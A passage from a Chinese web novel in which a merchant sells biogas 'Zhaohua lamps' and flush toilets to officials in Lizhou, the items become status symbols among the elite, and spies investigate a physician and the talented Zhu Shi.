仇师祖连连称是,而仇风长老和仇哀长老则是开始试图运转那《青梧引》,等到运转一个小周天后,二人互相瞪大眼睛,满眼惊讶激动。 “师祖,这《青梧引》简直妙哉,刚才我仔细感受一番,察觉这门功法对于灵气的使用和控制非常细微,若能完全掌握它,更容易将每一丝灵气运用到该去的地方,所以才会造成如今我等效率提升的状况。 除了这个发现外,我还发现这《青梧引》还能扩大自身对于灵气的容纳程度,真乃真仙级别的功法啊!” 听到这消息外,仇师祖不免摸了摸胡须点头。 “我也有这发现,从此以后,这功法即将是我等永道宫的正统功法。” 仇离率先开口:“师祖,为了更好更安全的使用此等功法,我建议应当开设考试,只有说通过考试才能使用此功法,防止因学习此功法而导致的走火入魔,伤及本源,。 至于考试通过的师妹师弟,则可前往风仙县进行《青梧引》的学习,我们既已答应仙人为仙人效力,自然应当逐渐转移永道宫本体才是。” 这番看法很是公正,且仇师祖早有此意,这会既然仇离提出来了,他自然第一个赞赏,表示同意。 很快,三人决定先回去传授合适的弟子《青梧引》,这会先是在仇离的帮助下,从方大人那边借了人,跟着他们一并回去。 因回去的人较多,一共是三辆马车一起回去的。 而仇离则是决定呆在风仙县,毕竟若有什么意外情况出现的话,他还是可以和仇朗师兄为仙师效力,也不算违背当初所许下的承诺。 很快,三辆马车驶离风仙县,为了加快速度,三人分别给马车上贴了符咒,原先的话,他们用符咒还需要考虑一番,不是必要的情况都不用,但现在自从修炼了那《青梧引》后,制作符咒的速度大大加快,一想到回到宫内便能让不少弟子都修炼上这《青梧引》,一时间,三人就恨不得马车立马就能到永道宫内,自然用起符咒不再心疼。 因杜百即将要再次离开本县,前往黎州,对于携带货物这件事,方知意和赵金构做了分析,而后决定让她带一些沼气灯。 沼气池技术是万万不能泄露的,但沼气不一样,可以存装起来,卖给黎州那些人沼气灯。 因更新奇,应当能卖上价格。 当然了,马桶也是要带过去的。 不过若是带马桶就有两个问题:一是从明州到黎州距离太远,马桶体积不小,强带带不过去几个,二是本县马桶暂且没有剩余的,目前工人们加班加点,就这样也远远不够本县目前的所需量。 正觉得此问题有些棘手时,方知意得到消息,在靠近黎州的地方,有仙师另外开设的陶瓷厂,也是负责生产马桶的。 这样一来,问题便解决了。 至于先前杜百携带的美酒,细盐,豆类品这些,这次依旧带了不少。 且这次杜百带的东西相较于先前多出不少,再加上暗中扮作伙夫的官兵,看起来挺像是一支正规的商队。 至于杜百面对谈天禄可能的质疑,她早就想好了对策。 于是,队伍很快前往黎州,等到从那处陶瓷厂拿走马桶后,杜百直奔黎州元城。 等到会见到谈天禄时,看着比先前扩大了一倍不止的商队,谈天禄不免眼露疑惑。 ——这杜家小子这么快就能扩大队伍了?要知道这花费的钱可不少啊。 正想时,杜百先是和他说了几句恭维话,而后似乎像个孩子一般,将自己的“真心话”一一说给谈天禄听。 “叔伯最近可好?” 谈天禄哈哈一笑,“贤侄莫要操心我,我一切都好,看来贤侄经营有方啊,这队伍扩大了一倍不止。” 杜百适当开口,叹息,“叔伯有所不知,先前我杜家商行倒下时,那些合作之人全都散了,这会眼看我杜家商行再次有望东山复起,这会全都凑上来,要加入我这队伍。 若是别人我就推了,但这来的人是原先和我杜家有世交的人家,思来想去,小子只能暂且同意了。” 其实这是一个弱点,尤其会暴露出自己的心软—— 但杜百要的就是这个效果,她必须要让谈天禄有种能看透她的错觉,让对方误以为她这个人有弱点能把控在手里,且对于谈天禄来说,一个杜家商行的威胁程度可要比一个由两家商行共同经营的商行危害程度更深。 谈天禄脸上适当流露出惊叹,“贤侄可真是心善,不过叔伯就喜欢你这善良这一点,这样的人做起生意来有底线,叔伯很满意啊。” 嘴上这么说,实际上,他则是暗自兴奋,——毛头小子做事不靠谱啊。 第155章 炫耀 这么看来,这杜白还是太心软了,尤其是竟然还会抹不开面子接受世交的加入。 谈天禄内心不免有几分波动,倒也怕对方给自己挖坑,多次试探后,确实没发现异常,便安心了不少。 原先他还担心杜家商行做大了会不会影响自己,这会反而倒是警惕心下降了几分。 ——有新的商队加入好啊,起码之后等真赚钱了,日后对于利益的分割也会让杜百头疼一阵子。 心底这么想着,但是嘴上谈天禄依旧将杜百夸得找不着北。 杜百则是面上做出一副喜色,看上去像是被自家长辈夸奖的后辈那般欢喜。 还带着独属于少年人的一份天真和聪慧。 谈天禄不免感慨,杜百此人倒是聪慧,就是年纪太小,没经历过什么毒打,和这样的合作,他起码总算能歇会了。 心中这般想着,杜百便开始介绍此次拿出来的货物。 除却先前的货物外,谈天禄注意到此次杜百新带了两个新奇的玩物。 ——一个看起来是灯,另一个则看着稀奇古怪的,不知道到底是何物。 只是看着像是用陶瓷做的,表面光滑,造型奇特。 他适当的流露出好奇:“贤侄,这是” 杜百忙开始介绍:“叔伯有所不知,这两物甚是神奇,这灯名为昭华灯,点燃后比一般灯要亮数倍。” 边说,边点燃灯,几乎瞬间,原先还昏暗的室内瞬间便被这昭华灯点亮,那些烛火在此灯面前,简直成了笑话。 谈天禄几乎是一动不动地盯着此灯,眼睛瞪得极大。 “——贤侄,这灯怎地会如此明亮?这到底是如何做到的?” 谈天禄自诩自己参加过不少奢靡的宴会,但无论怎么比,都不如这昭华灯来得明亮,它的明亮并不刺眼,像是月光一样皎洁而又温和的洒下来,却足够将周围看得清楚,且仅一盏灯就要将那些繁杂的烛火明珠全都比了下去。 眼看勾起了谈天禄的兴趣,杜百自然心中暗自得意,实际上,她也将这份得意流露出来,毕竟她现在的人设可是藏不住心事的毛头小子。 确保谈天禄看到她的表情后,杜百这才咳嗽一声继续说:“叔伯,这灯是我意外遇到一匠人,此人声称自己是鲁匠后人,由此匠人制作而成。 至于说这灯到底是如何做到的,侄儿也不知,毕竟那工匠死都不肯松口,多番打听只知道这昭华灯内部有储气的东西用以燃烧,若是气用完了,还需要继续充气才可继续使用。” 谈天禄来了兴趣。 “哦?自称是鲁匠后人?有点意思,不过这昭华灯也有趣得紧,这般小的身躯,但点燃后竟然如此明亮,可见这工匠确实有点东西。 还有这里面罐装的是气?” 好生新奇的东西,气如何能燃烧? 谈天禄心中惊疑不定,刚才他自然是看到了杜百脸上一闪而过的得意,这会细细研究此灯,——此灯外形颇为独特,和以往的灯具都不相同,但这也不能说明这就是鲁匠后人做出来的东西,但的确它照射出来的光亮是那般不可思议,且他还是第一次听说气能燃烧 一时间,谈天禄陷入沉思。 倒是杜百继续道:“这灯因只有那匠人一个人能制作,小子此次费了不少精力,这才拿到了十个灯,这会忙拿来让叔伯掌掌眼。” 谈天禄眉心微动,十个?对于他想做的事来说有些少,但是还凑合够用 这会问及价格几何,杜百挠了挠头,一脸不好意思。 “叔伯,不是侄儿夸大,而是此灯精密异常,稍有不慎便会前功尽弃,所以这定价是二百两一盏灯。” 谈天禄被这个价格还是惊讶了瞬间,虽说这价格定位不算特别难以接受,但总体来说,价格也稍贵,毕竟这个定价的琉璃灯那可是实打实的精美,需要工匠制作三个月起步才是。 不过,这物它好用啊,一盏灯明亮无比,是那些灯无法比拟的,这便是它的优势。 一番思索,谈天禄不免想到了数个售卖方式,这会倒是对于此物定价也还能勉强接受了。 刚点头,想表示他了解时,便听杜百继续道:“这灯后续还需要加气,每次填充需要花费一百两。” 谈天禄忍不住眉头狂跳,差点吐血。 ——合着是卖那气的! 这倒是有些意思,这和琉璃盏可不一样,琉璃盏这等精美的灯盏是卖外观的,而这昭华灯则是更着重于卖加气服务。 一时间,谈天禄眉头紧蹙,略带不爽。 杜百忙解释:“叔伯听贤侄解释,这气甚是神奇,侄儿不知那匠人是如何制作而来,只是听他说,这气产出区域危机遍布,甚是危险,所以才会定价这般。” 听到这解释,谈天禄那颗心稍微平复了片刻,算了,物以稀为贵嘛,这东西足够稀少,他便有路子能弄出去。 再看一眼这灯,谈天禄不免心中多想。 若不是它照明实在是堪称神奇,他绝不会接受这价格。 这会便摆摆手,示意杜百继续说下一样东西。 提及马桶时,杜百倒是再次面露微笑。 “叔伯,这可是个好东西,不过它需要配合下水管道使用,方能用于出恭。” 一提起出恭二字,谈天禄顿时紧蹙眉头,似乎很不满杜百竟然带来这样的东西过来。 似乎是察觉到谈天禄的情绪变化,杜百忙请他过来看。 “叔伯勿恼,听贤侄细细道来,此物名为净座,打开这个盖子,可以往内添加水,等到完事后,按压这个按钮,即可冲走污秽。” 为了演示,杜百特意让官府负责马桶安装的人将马桶和管道相连接,这会示范给谈天禄看。 杜百按压按钮,谈天禄便看到有股强力到不像是这玩意能流出来的水瞬间喷涌出来,而后顺着管道留出去。 这会,他彻底惊在了原地,瞪大眼睛,似乎十分不理解这为何会如此? “这不合理啊,我从未见过会有这般强劲的水花,这是如何做到的?” 杜百摇摇头,她确实不知道原理,到也不算是骗他了,这会真心实意道:“叔伯是有见识的人,自然应当知晓该如何将此物运用开来才是。” 谈天禄陷入沉思,他确实知道此物的妙用,但这东西改动需要连管道一起修整好,甚是麻烦啊,但话又说回来,这东西若是能用上的话,肯定会很好用,原先那什么白玉罐算什么,这净座一看就坐着舒服。 这会他开口询问这物价格,杜百微微为难,最后伸出一个手指头。 “一百两,叔伯,你也知道的,这物甚至奇特,且又大,运输过来花费的精力,时间,实在是太多了。” 原先谈天禄还觉得一百两稍微有些贵了,这会听杜百这么一说,计算了一番运输此物需要的时间精力,突然就觉得这钱还能接受。 提起拉了多少货过来,杜百笑道:“有两马车货,但具体如何,还需要叔伯评判才是。” 谈天禄微微点头,心中却想着该如何将这两物发挥到极限。 ——他可给圣上送一份过去剩下的便可偷偷卖给其余人。 此刻他心中已有运营方法,自然不愁该如何运营。 至于此次结账,一开始谈天禄是打算结一半的,但后续杜百含蓄表示他本金越多,带来的货物越多时,谈天禄思索一番,倒是将钱都结给了她。 ——毕竟杜百能带来的东西越多,他也就越赚钱。 杜百顺利从黎州离开,离开后,她小心谨慎的观察身后是否有跟着的人,等注意到有人跟着时,不免心生警惕,先行离开黎州元城,她心中大概有计划,若是等到离开黎州时,这身后的小尾巴还在,她会让谈天禄看到他“期待”看到的东西。 而此刻,谈天禄则是先将两物分别送给干爹,让对方去送给圣上。 而他则是靠着手上的东西掀起了一场新的风浪。 黎州元城鲁家。 因为鲁阁老大寿,众人难免过来贺寿。 元城的寿宴都是在晚上开设,这会众人缓缓步入鲁宅,等看到那恍若白昼一般的宴席时,各个忍不住揉了揉眼睛。 ——等一下,他们是没睡醒,还是花了眼? 为何分明是晚上,但那宴席间却这么亮? 等到走进了一看,这才发现端倪。 原来是一盏外表奇特的灯照射在宴席间。 宴席人不算多,但也绝对称不上少,但只需要一盏灯,便能照亮整个宴席间。 一时间,众人均有些震撼。 等到落座后,说完了恭维话后,众人难免将话题扯到了这盏灯上。 “鲁阁老,这盏灯我等可是第一次见啊,如何这般明亮?” “是啊,我等初进还以为眼花了。” “鲁阁老可得给我等好好解惑啊!” 在众人的恭维疑惑中,鲁阁老摸着胡须,面露细微得意,缓缓开口。 “这灯名为昭华灯,是由鲁匠后人制作而成,内部靠着气照明,所以才会这般明亮。” 众人不免惊诧,谈论到是怎么来的时,鲁阁老淡淡开口:“此灯乃吾儿所赠,说是看我上了岁数,眼睛不好了,有这明亮的灯,我也好能看得更清楚。” 这话一说,众人嘴上恭维着鲁阁老,说他有个好儿子,心里却是在怒骂。 好你个老家伙,这会了开始炫耀儿子了是吧? 但骂归骂,这灯怎么来的还是要继续打听的,等听到此灯光是灯具便需要500两,后续加气还需要200两时,不免众人惊叹——这费用可是够高的了!至少对于一盏灯来说是天价! 第156章 156章 荒唐 虽说五百两对于他们来说不算什么特别惊人的数目,毕竟别的贺寿礼品不见得比这便宜,但关键在于,别的礼物千百两倒是正常,这个灯这个价格实在是奢侈。 尤其是长期持有的话,后续加气也贵啊。 但不得不说,这盏灯实在是过于明亮,原以为打听完这物后,他们能消停一会,实际上,伴随着宴席的进行,这盏灯可比他们想象中的有用多了。 足够明亮,原先晚上读书写字十分困难,但现在有了这昭华灯后,宴席亮如白昼,写字读书自然少了数分艰辛感,且宴席间不需要再考虑会不小心触碰到烛火。 一时间,众人互相能从对方的脸色看到两个字“想要”。 ——不说别的,这灯它至少实用啊,日后谁不需要晚上去书房读点书,写点字的? 这是喜欢舞文弄墨的人的想法,至于这灯的另一批受众则是纯粹的取乐党。 他们和那些文人不同,心想的是若有这样的好东西,日后夜间取乐岂不是更有趣? 先前因为烛火不够明亮,很多时候,夜晚来临就代表着很多娱乐活动被迫取消,但现在眼看有此神物,自然是迫不及待想拿下。 等到宴席快结束时,终于有人开始打听此物到底在哪买的。 鲁阁老表示自己不清楚,需要问自家儿子,众人一番询问,却也没能问出来结果,这会只能可惜地摇头散开。 这只是昭华灯的第一次现身,却吸引了不少执着于此物的人来回打听。 更过分的是,之后的日子里,若有高官家中设晚宴,必定会有一盏昭华灯出现。 几次过后,此物便变成了宴会的必备物品。 毕竟能在这个时候搞到昭华灯,那可是权利和背景的代名词啊,更别提此物的实用价值也是颇高。 除却重要的私人宴会会这样,那些玩乐性质的高级宴会也会配备上昭华灯。 现在的情况就是,只要开私人宴会,你若是没有这灯,众人面上虽说一切安好,但私底下难免颇有嘲讽。 一是怀疑你的朝中地位,二是怀疑你的人脉关系,总之现在这昭华灯不仅仅是一盏灯,它更多的像是一种身份的象征。 先前谈天禄给上面的人送了几盏灯后,剩余的灯他挑了些位高权重的人出手,倒也不是为了钱,而是若想后期赚一笔大钱,第一批的选择人选必须要慎重。 先前那鲁阁老宴会便是他精心策划而来,——他早就知晓那鲁阁老即将要开设宴会,而他也差人卖了对方一个好。 鲁阁老此人看着清心寡欲,实则对俗世的看法尤其看重,既能让自己在宴席中面子里子都有了,都不用谈天禄说什么,此人定会主动拿出这灯去炫耀。 且此人位高权重,很适合传播此灯。 谈天禄冷笑着静待后续发展,他一共只低价卖出去三只,手里还有3个,就等着这灯的重要性体现后,卖出更高的价格。 黎州元城,最近高官间因为一盏灯而闹得难看不已。 都察院吴御史就陷入此等困境中。 他家父亲眼看要过六十大寿,为了给父亲一个完美的大寿,他先前早就将一切都准备妥当,但谁能知道,半路竟然杀出个昭华灯。 自从在鲁阁老那宴会上看到那等明亮的昭华灯后,吴御史老父便整日茶饭不思,看上去整个人都瘦了几圈。 吴御史受不了,多次追问,总算是知道了父亲的心结。 吴御史老父原先也是督察员内退下来的高官,本想着好好过个大寿,谁能想到原先的死对头,鲁阁老竟然能有那么拉风的寿宴。 先前他就一心想着要比过这鲁阁老,现在眼看着对方因为那盏昭华灯获得如此关注,心里自然痛快不了。 尤其是打听许久不知道在哪里能买到这昭华灯,眼看寿宴接近,急得茶饭不思。 初次听到父亲这离谱的要求后,吴御史整个人懵逼了瞬间。 ——等等,这合理吗?不就是一盏灯? 但架不住吴御史老父人上了岁数,变得轴得要命,口口声声说着若是吴御史弄不到那昭华灯,他那大寿就不办了。 “这昭华灯是寿宴的重中之重!没它,我这六十寿诞便是场笑话,叫我日后如何在元城立足?” 吴御史面对父亲这话,眉头紧蹙,而后抽搐着嘴角道:“父亲,左右不过是一盏灯,何苦非要呢?” 却不想吴御史老父一拍桌子,怒火攻心,逮着他就是一顿臭骂:“既无孝心操办这寿诞,何必假惺惺推诿!不愿操持便直言,休要惹恼我这把老骨头!” 吴御史忙表示自己绝对没有这个意思,毕竟本朝以孝为先,若父亲这话被人听到了,被有心之人参他一本都够他喝一壶的。 吴御史老父冷哼一声,表示若是真想好好办,就赶紧打听去弄到那盏灯才是硬道理。 就这样,吴御史被迫逼得多次派人打听此灯是从哪儿购入的,好不容易折腾了许久,总算知晓这物来自于哪里。 一个外来的游商。 谈天禄很聪明,为了售卖这种敏感物品,他兜兜转转了许久,牵引了数条线,这才让此游商负责售卖。 而当吴御史听闻此灯竟然要花费一千两一盏后,自然惊到了。 ——什么灯,敢卖这么贵? 更过分的是,听这游商的意思,这灯后续还需要加气,每次加气都需要两百两。 如此算下来,吴御史自己都觉得这有些奢侈了。 刚想犹豫,但转念间想到老父亲前几日刚给他骂成了孙子,这会一咬牙一狠心,还是买了一盏,纯粹是为了老父亲开心。 等到吴御史将此灯送回家后,吴御史老父自然喜得要命,等到开寿诞那日,自然也是在人群里风光了一把。 这流行的坏苗头一旦种下,后续便很难掰回来。 最近的宴席,昭华灯的出现频率是越来越高了。 一般来说,大都是一些高官才能拥有此物,但架不住总有和高官家中沾亲带故的小官存在。 既买不到此物,那便去靠着人情去借。 一来二去,这昭华灯竟在小官之间也火爆了起来。 现在宴席间,若看到有哪个小官还能点得起这昭华灯,那便是说明此人定有一些人脉关系。 换句话说,现在若是哪家办宴会没有这灯,别说了,那肯定是地位不够,弄不到这玩意。 黎州元城施家。 施家不过元城一中下家族,自从这昭华灯流行后,眼看越来越到接近寿诞的日子了,施家人自然有些紧张。 ——紧张的一点便在于他们施家并无什么可靠的背景,自然是弄不到那象征着地位和靠山的昭华灯。 既弄不到这灯,施家人各个愁眉苦脸,不敢想这宴席结束后到底会有多少人会对他们施家嘲讽个遍。 他们施家的地位很尴尬,属于那种高不成低不就的,若是层次高一些,那自然有办法,或者是买,或者是借,总归有机会能弄到那昭华灯,若层次低一些,倒也不用在乎这压根轮不到自己操心的高层次东西,可恨就可恨在,他们卡在那条线上,若往上爬不上去,若往下便是一骨碌就滚落的危险境地。 而如今,这昭华灯便是那条危险线,若是明面上的体面都不曾有,那他们施家日后只会更艰难。 为了这寿诞,最近施家家主没少操心,眼看时间越来越接近,甚至他都生出了想将母亲的寿诞往后挪一挪的想法。 ——实在是没办法,毕竟若是那般轻易办了,不仅仅是母亲,整个施府都会被耻笑,日后伴随的便是地位,圈子的降低,这等损失,他们是万万接受不了的。 正是慨叹这事难办,为此发愁之际,施家家主倒是意外遇到了一人。 此人称自己手中有那昭华灯,可租借使用。 一听到这话,施家家主立即喜笑颜开,在确定了那昭华灯确实是那个最近闹得沸沸扬扬的昭华灯后,施家家主忍不住动心了。 但等问出来这租金价格时,他瞬间脸黑。 ——纯粹是被气的! 此人竟然敢收费一日五百两的高价! 但更可恨的是,这人背景不明,手中既然能有最近大火的昭华灯,说明此人背景不凡,有可能背后的幕后指使者权利大得让他想不到。 他自然是不敢招惹这般庞然大物的,但一日五百两的高价确实让他心疼坏了。 ——但对方一句话就掐住了他的命门——他需要体面,他们施家决不能丧失这最后的体面! 哪怕这价格很贵,明显是坑人的价格,施家家主也咬着牙挺了下来。 他倒是还挺害怕此人当日不会来,千叮咛万嘱咐,总算在当日看到那灯被送了过来。 先前的五百两早就给了,除了租赁金以外,还需要额外付一千两的押金,等到归还时确定灯具本身完好后,这才会被退还。 其实一开始施家家主并不想付这般贵的押金,但此人绝不同意。 “若施家主这般不同意,那便算了,你可知晓最近市面上这物最便宜也是一千两?且更别提这价格绝对收不到,我收一千两押金,不过是图个安心而已。” 施家家主被逼迫得给了押金,毕竟他对这昭华灯的确是刚需。 而等他拿到这灯,花费五百两租了一晚,享受着在母亲寿诞上大放异彩时,那股莫名膨胀的自信心让他舒服得直叹息,这会不由地感慨,这五百两实在是花得太值了!保住了体面,还让他有机会继续往上钻营,好能多一些停留在目前所在的地位上,而不会被残酷的挤下去踩死! 第157章 潮流 等到这寿诞结束,归还这昭华灯时,施家家主还一副可惜的模样,但他不敢不还回去,只能恭敬地给了此人。 与此同时,他的一千两押金也被退了回来。 而从施家家中离去的人则是各个面露不解,纷纷猜测不已。 “这施家不是说没什么人脉在么,现在看来,施家果然还是瘦死的骆驼比马大,还有些家族底气在内啊。” “确实如此,看来我等以后做事还是要小心一些,不能太过于忽略施家,起码现在不能,谁知道他们现在攀附上了哪位。” 与此同时,出租昭华灯的人并非别人,而正是杜百派来的人,此人名为杜一,是杜家商行原先活着回来的人之一,当初杜一年纪小,藏了起来,这才没能被杀死,等他回家将那日惨状告诉杜百等人后,便一直被杜百养在杜家作为副手。 自上次杜一跟着一起来了后,杜百等人离开元城,负责吸引谈天禄的视线,而杜一此人则是负责趁着视线去都被吸引走后,留在元城开始他要做的事。 杜一身后不错,因常年跟着杜百在外,对于经商一事也是颇为熟手。 这些日子他一直潜伏在元城内,就等着市场被昭华灯掀起风波后再找机会加入进来。 若按照杜一的能力,其实是打探不到更多的消息的,但此事并非杜百一个人的事,而是在方知意的授命下完成。 为配合杜一,方知意特意联络还在元城内的寻宁等人,让她们出一个人负责和杜一联络,尤其是要将那些官员的信息拿下,告知杜一。 很快,在慎刑司的帮助下,杜一拿到了所需要的情报,而后设计了第一场租借。 目标瞄准的便是施家,这绝对是一个完美的租赁对象。 事实也确实如此,施家迫于压力,租赁了昭华灯。 杜一也是经常跟着杜百四处溜达做生意的,但是头一次见这般赚钱快的生意,一出手间,便是五百两纯利润。 不过再想想,这机会可不常有,倒也不再多惊诧。 而至于下一个目标,他自然会按照手中的单子挨个去找。 倒是不怕这些人会互相串通,毕竟这种丢人私密的事,谁都不愿意被发现自己是租赁的昭华灯,而非是靠着人脉借来的。 且杜一和慎刑司在选取对象时十分谨慎,只会选择这种中间阶层的人,而非谁都租赁。 这消息寻宁刚知晓时,脑内过了一遍,立马对这绝妙的计策赞叹不已。 先让杜百将昭华灯给谈天禄带进去,靠着谈天禄的前期努力替己方打开市场,而后借着对方为后续打好的市场先一步租赁昭华灯,且与此同时,凭借着谈天禄的势力,还会让那些不明真相的人产生畏惧的情绪,反而不敢对租赁之人动手。 这绝对是一个很聪明的计谋,只是—— 寻宁忍不住暗自怀疑方大人的用意。 ——绝非是为了赚钱。 思来想去,她很快便脑内有所明悟。 等一下,昭华灯不是重点,重点是在于那加气,赚钱也不是重点,重点是让这些人形成一个习惯,形成日后不使用此灯便觉得万般不适的习惯,想想看,若是日后用惯了这灯,突然一日不再用了,岂不觉得浑身难受?定会找办法继续用下去。 而长远看的话,想来方大人看上的是整个元城的中高层市场,以及对沼气资源的绝对把控。 以寻宁目前的理解,她只能暂时猜测到这一点,但至于方大人心里到底是如何想的,说实话,她也不知。 但仅仅是这片刻猜测,还是让寻宁不免心生澎湃。 而与此同时,谈天禄则是想得不错,他等着杜百下一次过来带着那些昭华灯,这次他已将市场打磨好,就等着下次一鼓作气进入。 整个元城,则是一时间被这昭华灯搅得一片混乱。 在混乱中,杜一小心翼翼的穿梭在这些租赁家族。 于是很快,这些家族在走投无路时,便会偷偷找上杜一,前去租赁。 虽说每次收费贵,但众人知晓,这玩意必须租赁啊,谁能不租? 毕竟当一个东西成为宴会标配时,那你不租,那便显得你过于低级了。 除却昭华灯带来的明面上的震撼外,那净座则带来的是暗地里的震撼。 毕竟出恭这事谁也不愿意和别人多交流,毕竟无论怎么看都感觉是变态,有失体面,但这个事又很重要,毕竟人每天有不少时间都是在这玩意上度过的。 先前在杜百走后,谈天禄立即找了人,将这净座按照杜百教授的方法安装成功,他出恭之处一直收拾得干净,但那也架不住偶有异味,且大部分时候都不方便。 但换上这净座后,谈天禄特意试了试,除了一开始有些不习惯外,但当习惯后,整个过程就变得无比舒适且干净。 只有用完了的人才会知道这净座有多好。 按照以往规矩给干爹那边送了几个后,谈天禄自然也想着将此物推广开来,只是推广方法,却让他有些纠结。 但想想看此物能带来的利润,谈天禄一咬牙,还是决定做了。 他动作很快,这件事悄无声息的办了下去。 尚书府。 云尚书特意买了这所谓的净座给自家老爹用。 他爹前不久摔了腿,以往出恭费劲得很,正是打算找工匠设计一款新的合适老父亲的椅子,好让他能方便一些,倒是没想到能弄到这名为净座的奇特之物。 说实话,若不是看在他爹的份上,云尚书还真不想买。 此物价格倒是算不上贵,只需三百两,还包括安装。 等到安装好后,云尚书难免亲自带着老父亲体验了一把。 本以为不过是个花样子东西而已,他心里想着是只要能当椅子坐下去就行,但谁能想到,实际上这玩意可比他想象中的好用多了。 舒适,干净,卫生。 一种全新的出恭体验。 原只是为了老父亲而买,这会不说别的,云尚书琢磨着要不要给府内再整几个? 在别的府内,这样的事也在发生。 杜百来时,带的马桶数量可要比那沼气灯多,自然谈天禄能发挥的余地就更多。 意识到这净座只能暗地里采购售卖后,他便将此事全权交给了手下负责。 话说此净座虽说价格也不便宜,但因为它是一个长期能用的物品,所以倒是比想象中接受程度更高。 尤其是很受府内夫人娘子的喜欢。 这净座很快卖空,而对应的,这会若是去别的府内出恭若没有此物,大家虽然明面上不说,但暗地里总会念叨着这府内一点也不讲究。 在谁也不知道的角落,这净座竟然卖疯了。 且因为第一批次货物有限,只有最上层的官员们才有资格第一批购入。 无论何时,这种东西基本上都是从上面往下开始流行的。 尚书府。 先前给老父亲弄了一个,后续云尚书几番找机会,总算又弄了两个,一个给自己和娘子,另一个则给了家中的嫡女。 云小娘子倒是命人将那出恭之地整理一番,熏香通风,又摆上观赏物品,俨然成了一个完全不同的出恭地。 等到她邀请小姐妹过来玩时,到底是小女儿心态,免不了让小姐妹看看自己的新玩具。 等看到此物后,众人顿觉一愣,而后甚有兴趣。 ——毕竟原先觉得肮脏的出恭地如今配上这净座后,竟然变得如此干净,看着不知道要比原先高几个档次。 小娘子们那股嫌弃之情立马就变成了羡慕,这会一个个瞪大眼睛,心想自己回去也要弄一个才行。 等一番恭维后,等到其余小娘子回了家,因各个是身份尊贵,是家中的嫡长女,次女,自然是去找了母亲去讨要此物。 起初众府的主母还不知此物到底为何,只以为是女儿胡闹,但等她们也见识到别的府内主母使用的此物,这会自然羡慕得紧,立即要去寻此物到底来自何处,如何使用等等。 再往后发展,品茶会开设得多了,等品茶会期间,茶水喝多了,便会被迫参观一番那地。 这种离奇的社交就这样传开了。 现在情况就是,谁要是点名要开这个品茶会,那便是暗示家里有人脉,实力,可以弄到如今市面上如此难弄的净座。 进而也成为了一种身份地位的炫耀。 这便是暗地里的竞争。 杜一倒是一直在元城注意着市场上的动向,但听到这离谱的消息后,尽管做好了心理准备,这会也觉得心理准备还是做得太少了,这会忍不住嘴角抽搐,脑内想象不到那个画面。 ——???什么鬼,毕竟在他们风仙县,这马桶便宜得很,且安装也是跟着政府政策走的,虽说谁安装了马桶会让周围人惊讶攒好了钱,但也不会说这么夸张,还要上赶着去别人家参观马桶 哦,还得整一个正经的茶会,喝点水,聚众去别人家出恭 一时间,杜一对黎州这些人看不透了 越想,杜一只觉得脑内名为理智的那根弦断裂开来,他不得不说,还得是黎州,确实总能想到他们这些人想不到的新花样。 说实话,先前沼气灯一事上,他就看不透。 毕竟风仙县谁家没个沼气灯,这会来到这黎州元城,谁能想到那遍地都是沼气灯摇身一变,成为了昭华灯,身价飙升百倍不说,因为一个灯引发的种种可笑夸张的事,这段时间杜一见得太多,人早就麻木 第158章 串联 除却杜一关注着黎州元城的变化,寻宁等人也是如此。 她倒不是为了方大人,而是单纯的觉得黎州元城内最近发生的这些事实在是有趣。 尤其是今日闹得沸沸扬扬的昭华灯和净座二物。 这两样东西她早就知晓是怎么回事,两样普通到不能再普通的东西摇身一变,来到黎州后就成了人人追捧的好物,各个为了它们打得头破血流,闹出不少笑话。 寻宁那股恶趣味得到了满足,这会不由地暗戳戳想着若是有天等仙师攻占到了这黎州元城,这些以往的高官们看到自己原先争得头破血流的东西不过是风仙县人人都能用得起的最普通东西,到时候不知道他们到底会是个什么表情。 一想到这些人可能会有的表情,寻宁便觉得心底滋生出一抹奇异的兴奋。 ——想想她就觉得有趣,何况根据现在的情况来看,她觉得方大人追求的可不仅仅是这两物这样简单才对。 话说,这段时间,不枉她仔细打探那药师,总算没白费工夫。 不过此人的确隐藏得很深,日常炼药除了会让药童控制火候以外,别的时候都不允许她们靠近那药房。 还是寻宁多次试探,摸索到此人的出行规律后这才溜了进去。 靠着最近几日生火对药房的熟悉,寻宁很快便找到了原先那药师摸索的地方。 先前她烧火时,早就注意到那药师会去房间内某个特定的地方不知道在干什么,但她记下了位置,这会自然要看看是何物。 等到打开那隐蔽的暗盒后,寻宁看着眼前一卷记录手册陷入沉思。 快速翻开看了几页,寻宁先被首页的病历记录吸引了目光,再仔细看下去,她很快便察觉到那一抹熟悉感来自于哪里,这记录手册记录的病情描述和先前她在祝府劫持到的那妇人说出的病情一样。 本以为是那妇人的病历记录,但越往后翻阅,寻宁便察觉到了不对劲,里面病情反馈的时间和祝府那妇人的时间对不上。 两者差距时间间隔得较远,所以寻宁才能察觉到不对劲。 这病历本记录上的内容除了日期有古怪外,别的暂且没找到异常。 且这暗盒内除了这病历记录,别的竟是再也没有了。 寻宁快速看了几遍,记住了最后一次记录所需要的草药,然后将这病历记录塞了回去,复位成原先的模样。 她从屋内快速离开,静待药师回来。 与此同时,寻宁没闲下来,呼唤信鸽,将此消息告知师姐后,便脑内不住地思索此事到底为何。 药馆,寻安等人终于等来了那传说中的祝时。 她们早就埋伏了许久,原先以为能早些看到祝时,从医馆这边知晓情况,但实际上,祝时很难等,本觉得这条线或许要放弃时,祝时居然来了。 祝府的马车停在医馆外,寻安等人不免侧目看去。 ——马车上刻印着祝府的牌子,这等款式,也就只有祝府才会用。 这番大架势过来药馆看病,多多少少让寻安有些觉得不对劲。 祝时下车后直奔医馆,虽说他走路是有些慢,但寻安敏锐地察觉到,这人在装虚弱。 毕竟人在虚弱时和装出来的虚弱,虽说表面上没有区别,但她们这样的内行人细看便能知晓。 压制住内心的好奇,寻安便看这祝时病恹恹地走进医馆内的一个小房间,而后过了半个时辰,这才从中走了出来。 寻安心中微动,——等祝时走后,她便能知晓内部到底发生了什么,毕竟当初安排的人手可不是白白安排的。 眼看这祝府来得快去得也快,寻安不免有些沉思。 这祝时总感觉有些不对劲,说是黎州元城天才,但自从十六年前重病后开始以身体原因推掉了不少文人的聚会,但却对官府交际一事开始上心,除却这点外,祝时的美名基本上都是在十六年的基础上加了几条无关痛痒的描述,但若是细细答应便能得到答案——因为现在的祝时不再出风头,而是打算靠着那些旧名声一直安稳下来。 其实这点很不合理,因为一般来说这种天才会持续性出风头,而且他们也不会拒绝在后续的人生中大放光彩,毕竟尝过被人追捧的滋味,如何能忍受不再成为众人中心? 